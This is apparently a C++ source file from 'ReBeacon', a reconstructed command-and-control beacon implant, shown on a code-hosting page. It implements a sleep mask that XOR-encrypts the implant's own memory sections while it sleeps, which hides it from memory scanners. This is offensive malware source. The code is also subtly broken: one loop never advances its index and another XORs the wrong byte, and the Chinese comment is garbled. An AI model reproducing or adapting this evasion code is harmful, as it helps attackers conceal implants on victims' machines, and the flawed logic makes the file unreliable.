ReBeacon_Src/ReBeacon_Src/BeaconSleep.cpp

77 lines
2.0 KiB
C++
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

#include "BeaconSleep.h"
SLEEPMASKP* gBeaconSleepMask;
HINSTANCE GetBeaconBase()
{
return Beacon_Dllbase;
}
PVOID SleepEncryptlpAddress;
void sub_1000436C()
{
DWORD flOldProtect;
if (!SleepEncryptlpAddress)
{
int BeaconCode = get_dword(41);
char* Beaconbase = (char*)GetBeaconBase();
VirtualProtect(Beaconbase + BeaconCode, (char*)sub_10004325 - (char*)BeaconSleepMask, 4, &flOldProtect);
SleepEncryptlpAddress = Beaconbase + BeaconCode;
memcpy(SleepEncryptlpAddress, BeaconSleepMask, (char*)sub_10004325 - (char*)BeaconSleepMask);
VirtualProtect(SleepEncryptlpAddress, (char*)sub_10004325 - (char*)BeaconSleepMask, flOldProtect, &flOldProtect);
gBeaconSleepMask = (SLEEPMASKP*)malloc(sizeof(SLEEPMASKP));
gBeaconSleepMask->BeaconBase = (char*)GetBeaconBase();
gBeaconSleepMask->sections = (int*)get_str(42);
random_bytesarray((BYTE*)gBeaconSleepMask->mask, 0xDu);
}
}
void BeaconSleepMask(SLEEPMASKP* parms, pSleep psleep, int time)
{
int* index = parms->sections;
while (true)
{
int a = index[0];
int b = index[1];
if (!a && !b)
{
break;
}
for (; a < b; ++a)
{
parms->BeaconBase[a] ^= parms->mask[a % 13];
}
}
psleep(time);
index = parms->sections;
while (1)
{
int a = index[0];
int b = index[1];
index += 2;
if (!a && !b)
{
break;
}
for (; a < b; ++a)
{
parms->BeaconBase[b] ^= parms->mask[b % 13];
}
}
}
void sub_10004325()
{
sub_1000436C();
}
void BeaconSleep(DWORD dwMilliseconds)
{
//²»ÊÇ·´ÉädllÎÒÃÇÔÝʱ²»ÓÃ
if (get_dword(41) && BackgroundThreadsNumber <= 0)
{
//sub_10004325();
//((void(__cdecl*)(SLEEPMASKP*, void(__stdcall*)(DWORD), DWORD))SleepEncryptlpAddress)(gBeaconSleepMask, Sleep, dwMilliseconds);
Sleep(dwMilliseconds);
}
else
{
Sleep(dwMilliseconds);
}
}